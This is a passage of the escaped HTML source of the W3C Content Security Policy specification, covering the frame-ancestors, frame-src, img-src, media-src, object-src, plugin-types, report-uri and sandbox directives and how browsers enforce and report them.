data-link-type=\"dfn\" href=\"#allowed-frame-ancestors\">allowed frame\n          ancestors</a> for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST:\n            \n         <ol>\n              \n          <li>Abort loading the protected resource.\n          \n\n              \n          <li>Take one of the following actions:\n\n                \n           <ol>\n                  \n            <li>\n                    Act as if it received an empty <a data-link-type=\"dfn\" href=\"#http-200-response\">HTTP 200 response</a>.\n                  \n            \n                  \n            <li>\n                    Redirect the user to a friendly error page which provides\n                    the option of opening the blocked page in a new <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#top-level-browsing-context\">top-level\n                    browsing context</a>.\n                  \n            \n                \n           </ol>\n           \n              \n          \n\n              \n          <li>\n                <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#parse-a-sandboxing-directive\">Parse a sandboxing directive</a> using the\n                empty string as the <em>input</em> and the newly created\n                document’s <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#forced-sandboxing-flag-set\">forced sandboxing flag set</a> as the\n                <em>output</em>.\n              \n          \n\n              \n          <li><a data-link-type=\"dfn\" href=\"#report-a-violation\">Report a violation</a>.\n          \n\n              \n          <li>Abort these steps.\n          \n            \n         </ol>\n         \n          \n        \n        \n       </ol>\n       \n      \n      \n    \n     </ol>\n     \n\n\n     <p>Steps 3.2.2 and 3.2.3 ensure that the blocked frame appears to be a\n    normal cross-origin document’s load. If these steps are ignored,\n    leakage of a document’s policy state is possible.</p>\n     \n\n\n     <p>The <code>frame-ancestors</code> directive MUST be ignored\n    when <a data-link-type=\"dfn\" href=\"#monitor\">monitoring</a> a policy, and when a contained in a\n    policy defined via a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-meta-element\">meta</a></code> element.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: <code><a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a></code> does not fall back to the\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a> when the directive is not defined. That is, a policy\n    that defines <code><a data-link-type=\"dfn\" href=\"#default_src\">default-src</a> 'none'</code> but not\n    <code>frame-ancestors</code> will still allow the resource to be framed from\n    anywhere.</p>\n     \n\n\n     <p>When generating a violation report for a <code>frame-ancestors</code>\n    violation, the user agent MUST NOT include the value of the embedding\n    ancestor as a <code>blocked-uri</code> value unless it is same-origin with\n    the protected resource, as disclosing the value of cross-origin ancestors\n    is a violation of the Same-Origin Policy.</p>\n     \n\n    \n     <section>\n      \n      <h4 class=\"heading settled\" data-level=\"7.7.1\" id=\"frame-ancestors-and-frame-options\"><span class=\"secno\">7.7.1. </span><span class=\"content\">\n        Relation to <code>X-Frame-Options</code>\n      </span><a class=\"self-link\" href=\"#frame-ancestors-and-frame-options\"></a></h4>\n      \n\n\n      <p>This directive is similar to the <code>X-Frame-Options</code> header that\n      several user agents have implemented. The <code>'none'</code> source\n      expression is roughly equivalent to that header’s <code>DENY</code>,\n      <code>'self'</code> to <code>SAMEORIGIN</code>, and so on. The major\n      difference is that many user agents implement <code>SAMEORIGIN</code> such\n      that it only matches against the top-level document’s location. This\n      directive checks each ancestor. If any ancestor doesn’t match, the load\n      is cancelled. <a data-link-type=\"biblio\" href=\"#biblio-rfc7034\">[RFC7034]</a></p>\n      \n\n\n      <p>The <code>frame-ancestors</code> directive <em>obsoletes</em> the\n      <code>X-Frame-Options</code> header.  If a resource has both policies,\n      the <code>frame-ancestors</code> policy SHOULD be enforced and the\n      <code>X-Frame-Options</code> policy SHOULD be ignored.</p>\n      \n    \n     </section>\n     \n\n    \n     <section class=\"informative\" id=\"multiple-host-source-values\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.7.2\" id=\"frame-ancestors-multiple-source-values\"><span class=\"secno\">7.7.2. </span><span class=\"content\">Multiple Host Source Values</span><a class=\"self-link\" href=\"#frame-ancestors-multiple-source-values\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>Multiple source-list expressions are allowed in a single policy (in contrast\n      to <code>X-Frame-Options</code>, which allows only one) to enable\n      scenarios involving embedded application components that are multiple levels\n      below the top-level browsing context.</p>\n      \n\n\n      <p>Many common scenarios for permissioned embedding (e.g. embeddable payment,\n      sharing or social apps) involve potentially many hundreds or thousands of\n      valid <code>source-list</code> expressions, but it is strongly recommended\n      against accommodating such scenarios with a static\n      <code>frame-ancestors</code> directive listing multiple values. In such\n      cases it is beneficial to generate this value dynamically, based on an\n      HTTP Referer header or an explicitly passed-in value, to allow only the\n      sources necessary for each given embedding of the resource.</p>\n      \n\n\n      <p>Consider a service providing a payments application at\n      <code>https://payments/makeEmbedded</code>. The service allows this resource\n      to be embedded by both merchant Alice and merchant Bob, who compete with each\n      other. Sending:</p>\n      \n\n      \n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#frame_ancestors\">frame-ancestors</a> https://alice https://bob\n</pre>\n      \n\n\n      <p>would allow Bob to re-frame Alice’s resource and create fraudulent clicks,\n      perhaps discrediting Alice with her customers or the payments service. If the\n      payments service used additional information (e.g. as part of a URL like\n      <code>https://payments/makeEmbedded?merchant=alice</code>) to send\n      individually-tailored headers listing only the source-list expressions\n      needed by each merchant, this attack would be eliminated.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.8\" id=\"directive-frame-src\"><span class=\"secno\">7.8. </span><span class=\"content\"><code>frame-src</code></span><a class=\"self-link\" href=\"#directive-frame-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"frame_src\">frame-src<a class=\"self-link\" href=\"#frame_src\"></a></dfn></code> directive is <em>deprecated</em>.\n    Authors who wish to govern nested browsing contexts SHOULD use the\n    <code>child-src</code> directive instead.</p>\n     \n\n\n     <p>The <code>frame-src</code> directive restricts from where the\n    protected resource can embed frames. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"frame-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-frame-sources\">allowed frame sources<a class=\"self-link\" href=\"#allowed-frame-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>frame-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>frame-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#allowed-child-sources\">allowed child sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-frame-sources\">allowed frame sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for display in a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a> in the\n      protected resource created by an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-iframe-element\">iframe</a></code> or a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#frame\">frame</a></code> element.\n\n      \n      <li><a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#navigate\">Navigated</a> such a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.9\" id=\"directive-img-src\"><span class=\"secno\">7.9. </span><span class=\"content\"><code>img-src</code></span><a class=\"self-link\" href=\"#directive-img-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"img_src\">img-src<a class=\"self-link\" href=\"#img_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load images. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"img-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-image-sources\">allowed image sources<a class=\"self-link\" href=\"#allowed-image-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>img-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>img-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-image-sources\">allowed image sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      \n      <li>Requesting data for an image, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-img-src\">src</a></code> or <code>srcset</code> attributes of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-img-element\">img</a></code> element, the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/forms.html#attr-input-src\">src</a></code> attribute of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/forms.html#the-input-element\">input</a></code> element with a type of\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/forms.html#attr-input-type-image-keyword\">image</a></code>, the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-video-poster\">poster</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code> element,\n      the <a data-link-type=\"functionish\" href=\"http://www.w3.org/TR/CSS21/syndata.html#uri\">url()</a>, <a data-link-type=\"functionish\" href=\"https://drafts.csswg.org/css-images-4/#funcdef-image\">image()</a> or <a data-link-type=\"functionish\" href=\"https://drafts.csswg.org/css-images-3/#funcdef-image-set\">image-set()</a> values on any\n      Cascading Style Sheets (CSS) property that is capable of loading an image\n      <a data-link-type=\"biblio\" href=\"#biblio-css4-images\">[CSS4-IMAGES]</a>, or the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-href\">href</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/document-metadata.html#the-link-element\">link</a></code> element\n      with an image-related <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/document-metadata.html#attr-link-rel\">rel</a></code> attribute, such as <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/links.html#rel-icon\">icon</a></code>.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.10\" id=\"directive-media-src\"><span class=\"secno\">7.10. </span><span class=\"content\"><code>media-src</code></span><a class=\"self-link\" href=\"#directive-media-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"media_src\">media-src<a class=\"self-link\" href=\"#media_src\"></a></dfn></code> directive restricts from where the\n    protected resource can load video, audio, and associated text tracks.\n    The syntax for the name and value of the directive are described by the\n    following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"media-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-media-sources\">allowed media sources<a class=\"self-link\" href=\"#allowed-media-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>media-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>media-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-media-sources\">allowed media sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was\n    a fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report\n    a violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for a video or audio clip, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-media-src\">src</a></code> attribute of a <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-video-element\">video</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-audio-element\">audio</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-source-element\">source</a></code>, or\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-track-element\">track</a></code> element.\n      \n    \n     </ul>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.11\" id=\"directive-object-src\"><span class=\"secno\">7.11. </span><span class=\"content\"><code>object-src</code></span><a class=\"self-link\" href=\"#directive-object-src\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"object_src\">object-src<a class=\"self-link\" href=\"#object_src\"></a></dfn></code> directive restricts from where\n    the protected resource can load plugins. The syntax for the name and value\n    of the directive are described by the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"object-src\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#source_list\">source-list</a>\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-object-sources\">allowed object sources<a class=\"self-link\" href=\"#allowed-object-sources\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-source-list\">parsing the <code>object-src</code>\n    directive’s value as a source list</a> if the policy contains an\n    explicit <code>object-src</code>, or otherwise to the list of\n    <a data-link-type=\"dfn\" href=\"#default-sources\">default sources</a>.</p>\n     \n\n\n     <p>Whenever the user agent <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#fetch\">fetches</a> a URL in the course of one of the\n    following activities, if the URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST act as if there was a\n    fatal network error and no resource was obtained, <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a\n    violation</a>:</p>\n     \n\n    \n     <ul>\n      \n      <li>Requesting data for a plugin, such as when processing the\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-data\">data</a></code> attribute of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element, the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-embed-src\">src</a></code>\n      attribute of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element, or the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/obsolete.html#dom-applet-code\">code</a></code> or\n      <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/obsolete.html#dom-applet-archive\">archive</a></code> attributes of an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element.\n      \n\n      \n      <li>Requesting data for display in a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>\n      in the protected resource created by an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n      element.\n      \n\n      \n      <li>Navigating such a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#nested-browsing-context\">nested browsing context</a>.\n      \n    \n     </ul>\n     \n\n\n     <p>It is not required that the consumer of the element’s data be a\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> in order for the <code>object-src</code> directive to be\n    enforced. Data for any <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code>, <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>, or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element MUST\n    match the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a> in order to be fetched. This is true\n    even when the element data is semantically equivalent to content which would\n    otherwise be restricted by one of the other <a href=\"#directives\">§7 Directives</a>, such as an\n    <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element with a <code>text/html</code> MIME type.</p>\n     \n\n\n     <p>Whenever the user agent would load a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a> without an associated\n    URL (e.g., because the <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element lacked a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-data\">data</a></code>\n    attribute), if the protected resource’s URL does not\n    <a data-link-type=\"dfn\" href=\"#match-a-source-list\">match</a> the <a data-link-type=\"dfn\" href=\"#allowed-object-sources\">allowed object sources</a>\n    for the <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, the user agent MUST NOT load the plugin.</p>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.12\" id=\"directive-plugin-types\"><span class=\"secno\">7.12. </span><span class=\"content\"><code>plugin-types</code></span><a class=\"self-link\" href=\"#directive-plugin-types\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"plugin_types\">plugin-types<a class=\"self-link\" href=\"#plugin_types\"></a></dfn></code> directive restricts the set\n    of plugins that can be invoked by the protected resource by limiting\n    the types of resources that can be embedded. The syntax for the name\n    and value of the directive are described by the following ABNF\n    grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"plugin-types\"\ndirective-value   = media-type-list\n</pre>\n     \n\n\n     <p>The term <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"allowed-plugin-media-types\">allowed plugin media types<a class=\"self-link\" href=\"#allowed-plugin-media-types\"></a></dfn> refers to the result of\n    <a data-link-type=\"dfn\" href=\"#parse-a-media-type-list\">parsing the <code>plugin-types</code>\n    directive’s value as a media type list</a>.</p>\n     \n\n\n     <p>Whenever the user agent would instantiate a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#plugin\">plugin</a>\n    to handle <var>resource</var> while enforcing the <code>plugin-types</code>\n    directive, the user agent MUST instead act as though the plugin reported an\n    error <em>and</em> <a data-link-type=\"dfn\" href=\"#report-a-violation\">report a violation</a> if any of the following\n    conditions hold:</p>\n     \n\n    \n     <ul>\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element that does not explicitly\n        declare a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#mime-type\">MIME type</a> via a <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code>\n        attribute.\n      \n\n        \n      <li><var>resource</var>’s media type does not\n        <a data-link-type=\"dfn\" href=\"#match-a-media-type-list\">match</a> the list of <a data-link-type=\"dfn\" href=\"#allowed-plugin-media-types\">allowed\n        plugin media types</a>.\n      \n\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> or <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> element, and the media type declared\n        in the element’s <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code> attribute is not an <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII\n        case-insensitive match</a> for the <var>resource</var>’s media\n        type.\n      \n\n        \n      <li>The plugin is embedded into the protected resource via an\n        <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/obsolete.html#the-applet-element\">applet</a></code> element, and <var>resource</var>’s media type is not an\n        <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/infrastructure.html#ascii-case-insensitive\">ASCII case-insensitive match</a> for\n        <code>application/x-java-applet</code>.\n      \n    \n     </ul>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: In any of these cases, acting as though the plugin reported an\n    error will cause the user agent to display the <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/dom.html#fallback-content\">fallback\n    content</a>.</p>\n     \n\n\n     <p>Whenever the user agent creates a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#plugin-document\">plugin document</a> as the\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#active-document\">active document</a> of a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#child-browsing-context\">child browsing context</a> of the\n    <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, if the user agent is enforcing any\n    <code>plugin-types</code> directives for the protected resource, the user\n    agent MUST <a data-link-type=\"dfn\" href=\"#enforce\">enforce</a> those <code>plugin-types</code> directives on the\n    plugin document as well.</p>\n     \n\n\n     <p>Whenever the user agent creates a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#plugin-document\">plugin document</a> as the\n    <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#active-document\">active document</a> of a <a data-link-type=\"dfn\" href=\"http://www.w3.org/TR/html5/browsers.html#child-browsing-context\">child browsing context</a> of the\n    <a data-link-type=\"dfn\" href=\"#protected-resource\">protected resource</a>, if the user agent is monitoring any\n    <code>plugin-types</code> directives for the protected resource, the user\n    agent MUST <a data-link-type=\"dfn\" href=\"#monitor\">monitor</a> those <code>plugin-types</code> directives on the\n    plugin document as well.</p>\n     \n\n    \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.12.1\" id=\"plugin-types-usage\"><span class=\"secno\">7.12.1. </span><span class=\"content\">Usage</span><a class=\"self-link\" href=\"#plugin-types-usage\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>The <code>plugin-types</code> directive whitelists a certain set\n      of MIME types that can be embedded in a protected resource. For\n      example, a site might want to ensure that PDF content loads, but that\n      no other plugins can be instantiated. The following directive would\n      satisfy that requirement:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a> application/pdf</pre>\n      \n\n\n      <p>Resources embedded via an <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code> or\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> element delivered with an\n      <code>application/pdf</code> content type would be rendered in the\n      appropriate plugin; resources delivered with some other content type\n      would be blocked. Multiple types can be specified, in any order. If the\n      site decided to additionally allow Flash at some point in the future, it\n      could do so with the following directive:</p>\n      \n\n\n      <pre>Content-Security-Policy: <a data-link-type=\"dfn\" href=\"#plugin_types\">plugin-types</a> application/pdf application/x-shockwave-flash</pre>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: Wildcards are not accepted in the <code>plugin-types</code>\n      directive. Only the resource types explicitly listed in the directive\n      will be allowed.</p>\n      \n  \n     </section>\n     \n  \n     <section class=\"informative\">\n      \n      <h4 class=\"heading settled\" data-level=\"7.12.2\" id=\"plugin-types-predeclaration\"><span class=\"secno\">7.12.2. </span><span class=\"content\">\n        Predeclaration of expected media types\n      </span><a class=\"self-link\" href=\"#plugin-types-predeclaration\"></a></h4>\n      \n\n\n      <p><em>This section is not normative.</em></p>\n      \n\n\n      <p>Enforcing the <code>plugin-types</code> directive requires that\n      <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-object-element\">object</a></code> and <code><a data-link-type=\"element\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#the-embed-element\">embed</a></code>\n      elements declare the expected media type of the resource they include via\n      the <code><a data-link-type=\"element-attr\" href=\"http://www.w3.org/TR/html5/embedded-content-0.html#attr-object-type\">type</a></code> attribute. If an author expects\n      to load a PDF, she could specify this as follows:</p>\n      \n\n\n      <pre>&lt;object data=\"<var>resource</var>\" type=\"application/pdf\">&lt;/object></pre>\n      \n\n\n      <p>If <var>resource</var> isn’t actually a PDF file, it won’t\n      load. This prevents certain types of attacks that rely on serving\n      content that unexpectedly invokes a plugin other than that which the\n      author intended.</p>\n      \n\n\n      <p class=\"note\" role=\"note\">Note: <var>resource</var> will not load in this scenario even\n      if its media type is otherwise whitelisted: resources will only load\n      when their media type is whitelisted <em>and</em> matches the\n      declared type in their containing element.</p>\n      \n    \n     </section>\n     \n  \n    </section>\n\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.13\" id=\"directive-report-uri\"><span class=\"secno\">7.13. </span><span class=\"content\"><code>report-uri</code></span><a class=\"self-link\" href=\"#directive-report-uri\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"report_uri\">report-uri<a class=\"self-link\" href=\"#report_uri\"></a></dfn></code> directive specifies a URL to\n    which the user agent sends reports about policy violation. The syntax\n    for the name and value of the directive are described by the following\n    ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"report-uri\"\ndirective-value   = <a data-link-type=\"dfn\" href=\"#uri_reference\">uri-reference</a> *( 1*WSP <a data-link-type=\"dfn\" href=\"#uri_reference\">uri-reference</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"uri_reference\">uri-reference<a class=\"self-link\" href=\"#uri_reference\"></a></dfn>     = &lt;URI-reference from RFC 3986>\n</pre>\n     \n\n\n     <p>The <dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"set-of-report-urls\">set of report URLs<a class=\"self-link\" href=\"#set-of-report-urls\"></a></dfn> is the value of the\n    <code>report-uri</code> directive, each resolved relative to the\n    protected resource’s URL.</p>\n     \n\n\n     <p>The process of sending violation reports to the URLs specified in\n    this directive’s value is defined in this document’s\n    <a href=\"#violation-reports\">§4.4 Reporting</a> section.</p>\n     \n\n\n     <p class=\"note\" role=\"note\">Note: The <code>report-uri</code> directive will be ignored if contained\n    within a <a href=\"#delivery-html-meta-element\"><code>meta</code>\n    element</a>.</p>\n     \n  \n    </section>\n\n  \n    <section>\n    \n     <h3 class=\"heading settled\" data-level=\"7.14\" id=\"directive-sandbox\"><span class=\"secno\">7.14. </span><span class=\"content\"><code>sandbox</code></span><a class=\"self-link\" href=\"#directive-sandbox\"></a></h3>\n     \n\n\n     <p>The <code><dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sandbox\">sandbox<a class=\"self-link\" href=\"#sandbox\"></a></dfn></code> directive specifies an HTML\n    sandbox policy that the user agent applies to the protected resource.\n    The syntax for the name and value of the directive are described by\n    the following ABNF grammar:</p>\n     \n\n    \n     <pre>directive-name    = \"sandbox\"\ndirective-value   = \"\" / sandbox-token *( 1*WSP <a data-link-type=\"dfn\" href=\"#sandbox_token\">sandbox-token</a> )\n<dfn data-dfn-type=\"dfn\" data-noexport=\"\" id=\"sandbox_token\">sandbox-token<a class=\"self-link\" href=\"#sandbox_token\"></a></dfn>     = &lt;token from RFC 7230>\n</pre>\n     \n\n\n     <p>When enforcing the <code>sandbox</code> 